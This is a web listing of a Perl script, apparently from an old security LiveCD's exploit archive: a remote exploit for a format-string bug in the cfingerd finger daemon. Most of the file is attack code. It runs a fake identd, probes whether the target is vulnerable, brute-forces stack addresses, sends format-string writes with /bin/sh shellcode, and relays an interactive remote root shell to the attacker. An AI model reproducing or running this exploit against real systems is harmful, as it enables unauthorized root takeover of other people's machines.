home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / finger / cfingerd / fingex.pl < prev    next >
Perl Script  |  2005-02-12  |  8KB  |  254 lines

  1. #!/usr/bin/perl
  2. # Cfingerd exploit to the recent syslog format bug.
  3. # Discovered and written by Lez <abullah@freemail.hu> in 2001.
  4. # you have to use it as root to bind port 113.
  5.  
  6. # tested on Debian 2.1, 2.2
  7.  
  8. use IO::Socket;
  9. #use strict;
  10.  
  11. my $network_timeout=5;
  12. my $sleep_between_fingers=2;  # should be enough
  13. my $debug_sleep=0;
  14.  
  15. my $fingerport=79;
  16.  
  17. my $target=$ARGV[0];
  18. my $debug=1;
  19. my $test_vulnerability=1;
  20.  
  21. # Debian 2.2, cfingerd 1.4.1-1
  22. #my $control=33;  # if don't set it, exploit will find.
  23. #my $align=0;     # the same
  24. #$retaddr=0xbffffab0;
  25. # my $retaddr=0xbffff880;  # the same
  26. #$retaddr=0xbffff840;
  27.  
  28. my $retvalue=0xbffff980;  # If it finds everything correctly, and says Shell lunched, but
  29.                           # you can't find your uid 0, decrease $retvalue by 30.
  30. my $bytes_written=32;
  31.  
  32. #$control=17;
  33. #$align=0;
  34. #$retaddr=0xbffffb80;   #(or 0xbffffb68 0xbffff9d0 0xbffff9cc 0xbffff9c8)
  35. #$retvalue=0xbffffc20;
  36. #$bytes_written=32;
  37.  
  38. # GOOD:
  39. my $startsig11=0xbffffbfc;
  40. my $endsig11=  0xbffff000;
  41. my $controlstart=45;
  42. my $controlend=1;
  43. my $fclient;
  44. my $shellcode ="\x31\xc0\x31\xdb\x31\xc9\xb0\x17\xcd\x80\xb0\x2e\xcd\x80".
  45.             "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b".
  46.             "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd".
  47.             "\x80\xe8\xdc\xff\xff\xff/bin/sh";
  48.                                                         #59 bytes
  49. if (!$target) {print "Usage: $0 target\n";exit}
  50.  
  51. # Starting fake identd
  52. my $identd = IO::Socket::INET->new(
  53.                 Listen => 5,
  54.                 LocalPort => 113,
  55.                 Proto     => 'tcp',
  56.                 Reuse     => 3) or die "Cannot listen to port 113: $!\n";
  57.  
  58. if ($test_vulnerability) {&testvuln}
  59.  
  60. if (!$control) { &get_control_and_align }
  61. else {print "Alignment: $align\nControl: $control\n" }
  62.  
  63. if (!$retaddr) {
  64.     &find_and_exploit_sigsegv_values
  65. }
  66. else {
  67.     printf "Using provided RET address: 0x%x\n",$retaddr;
  68.     &exploit ($retaddr, $retvalue);
  69. }
  70.  
  71. exit;
  72.  
  73. sub sendthisone { #sends a string to cfingerd, and returns 1 if the remote machine got SIGSEGV or SIGILL.
  74.                   # a bit tricky
  75.     my $text_to_send=$_[0];
  76.     $text_to_send =~ s/^\ /\ \ /;
  77.     my ($last_119, $gotback);
  78.     $fclient = IO::Socket::INET->new("$target:$fingerport") or die "Cannot connect to $target: $!\n";
  79.     print $fclient "e\n"; # e is the username we query.
  80.     my $ident_client = $identd-> accept;
  81.     my $tmp=<$ident_client>;
  82.     my $first_64= substr($text_to_send, 0, 64);
  83.     if (length($text_to_send) > 64) {
  84.         $last_119= substr($text_to_send,64);
  85.     }
  86.     sleep $debug_sleep;
  87.     print $ident_client "$last_119: : :$first_64\n"; # we use an other bug
  88.                                                      # in rfc query function
  89.                                                      # to send longer lines.
  90.     close $ident_client;
  91.     eval {
  92.         local $SIG{ALRM} = sub { die "alarm\n"};
  93.         alarm ($network_timeout);
  94.         $gotback= <$fclient>;
  95.         alarm 0;
  96.     };
  97.     if ($@) {
  98.         die unless $@ eq "alarm\n";
  99.         &shell;
  100.     }
  101.     if ($gotback =~ /SIGSEGV/i) {
  102.         if ($debug == 2) {print "Sending $first_64$last_119: SIGSEGV\n";}
  103.         elsif ($debug == 1) {system ("echo -n \"*\"");}
  104.         sleep ($sleep_between_fingers);
  105.         return 1;
  106.     } elsif ($gotback =~ /SIGILL/i) {
  107.         if ($debug == 2) {print "Sending $first_64$last_119: SIGILL\n";}
  108.         elsif ($debug == 1) {system ("echo -n +");}
  109.         print "Got signal \"Illegal instruction\".\nThe ret address is not correct\n";
  110.         sleep ($sleep_between_fingers);
  111.         return 1;
  112.     } else {
  113.         if ($debug == 2) {print "Sending $first_64$last_119\n";}
  114.         elsif ($debug == 1) {system ("echo -n .");}
  115.         sleep ($sleep_between_fingers);
  116.         return 0;
  117.     }
  118. }
  119.  
  120. sub get_control_and_align {
  121.     for ($control=$controlstart; $control >= $controlend; $control--) {
  122.         for ($align=3; $align>=0; $align--) {
  123.             my $s1= "A"x$align . "\x79\xff\xff\xbe" . "%" . $control . "\$n";
  124.             my $s2= "A"x$align . "\x79\xff\xff\xbf" . "%" . $control . "\$n";
  125.             if (sendthisone($s1) > sendthisone ($s2)) {
  126.                 print "\nControl: $control\nAlign: $align\n";
  127.                 return;
  128.             }
  129.         }
  130.     }
  131.     die "Could not find control and alignment values\n";
  132. }
  133.  
  134. sub find_and_exploit_sigsegv_values {
  135.     my ($sendbuf, @back, $addy, $retaddr, $save);
  136.     print "Searching for eip addresses...\n";
  137.     for ($addy=$startsig11; $addy >= $endsig11; $addy -=4) {
  138.         $sendbuf = "a"x$align . pack "cccc",$addy,$addy>>8,$addy>>16,$addy>>24;
  139.         $sendbuf .= "%" . $control . "\$n";
  140.         if ($addy%0x100) {
  141.             if (sendthisone($sendbuf)) {
  142.                 &exploit ($addy, $retvalue);    # I'm so lazy
  143.                 &exploit ($addy, $retvalue-60);
  144.                 &exploit ($addy, $retvalue+60);
  145.                 &exploit ($addy, $retvalue-120);
  146.                 &exploit ($addy, $retvalue+120);
  147.                 &exploit ($addy, $retvalue-180);
  148.                 &exploit ($addy, $retvalue+180);
  149.                 &exploit ($addy, $retvalue-240);
  150.                 &exploit ($addy, $retvalue+240);
  151.                 &exploit ($addy, $retvalue-300);
  152.                 &exploit ($addy, $retvalue+300);
  153.                 &exploit ($addy, $retvalue-360);
  154.                 &exploit ($addy, $retvalue+360);
  155.                 &exploit ($addy, $retvalue-420);
  156.                 &exploit ($addy, $retvalue+420);
  157.  
  158.             }
  159.         }
  160.     }
  161. }
  162.  
  163. sub exploit {
  164.     my $addy=$_[0];
  165.     my $value=$_[1];
  166.     my $sendbuf;
  167.     printf "\nExploiting 0x%x, ret:0x%x.\n",$addy,$value;
  168.     $sendbuf = "Z"x$align;
  169.     $sendbuf .= &add_four_addresses($addy);
  170.     $sendbuf .= &add_format_strings($value);
  171.     $sendbuf .= "\x90"x (182-length($sendbuf)-length($shellcode));
  172.     $sendbuf .= $shellcode;
  173.     &sendthisone ($sendbuf);
  174. }
  175.  
  176. sub add_four_addresses {
  177.     my $addy=$_[0];
  178.     my ($back, $i);
  179.     for ($i=0; $i<=3; $i++) {
  180.         $back .= pack "cccc",
  181.                     ($addy+$i),
  182.                     ($addy+$i)>>8,
  183.                     ($addy+$i)>>16,
  184.                     ($addy+$i)>>24;
  185.     }
  186.     return $back;
  187. }
  188.  
  189. sub add_format_strings {
  190.     my ($back, $i, @a, $xvalue, $nvalue, $back);
  191.     my $ret=$_[0];
  192.     $a[0]=$ret%0x100-$bytes_written;
  193.     for ($i=1; $i<=3; $i++) {
  194.         $a[$i]= ($ret >> (8*$i) )%0x100 - ($ret >> (8*($i-1)) )%0x100;
  195.     }
  196.  
  197.     for ($i=0; $i<=3; $i++) {
  198.         $xvalue= &positive($a[$i]);
  199.         $nvalue= $control+$i;
  200.         if ($xvalue <=8) {
  201.             $back .= "A"x$xvalue          .       "%".$nvalue."\$n";
  202.         } else {
  203.             $back .= "%0".$xvalue."x"     .       "%".$nvalue."\$n";
  204.         }
  205.     }
  206.     return $back;
  207. }
  208.  
  209. sub positive {
  210.     my $number=$_[0];
  211.     while ($number < 0) {
  212.         $number += 0x100;
  213.     }
  214.     return $number;
  215. }
  216.  
  217. sub shell {
  218.     my ($cucc, $msg);
  219.     print "Shell launched\n";
  220.     print $fclient "id\n";
  221.     print &my_line(1);
  222.     while (1) {
  223.         $cucc=<STDIN>;
  224.         print $fclient $cucc;
  225.  
  226.         while ($msg=&my_line(1)) {
  227.             print $msg;
  228.         }
  229.     }
  230. }
  231.  
  232. sub my_line {
  233.     my $msg;
  234.     eval {
  235.         local $SIG{ALRM} = sub { die "\n"};
  236.         alarm ($_[0]);
  237.         if ($msg=<$fclient>) {
  238.             alarm (0);
  239.             return $msg;
  240.         }
  241.     };
  242. }
  243.  
  244. sub testvuln {
  245.     if ($debug) {print "Testing if fingerd is vulnerable...   "}
  246.     if (&sendthisone ("%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n")) {
  247.         print "Yes.\n";
  248.         return;
  249.     } else {
  250.         print "No.\n";
  251.         exit;
  252.     }
  253. }
  254. #                www.hack.co.za           [29 April 2001]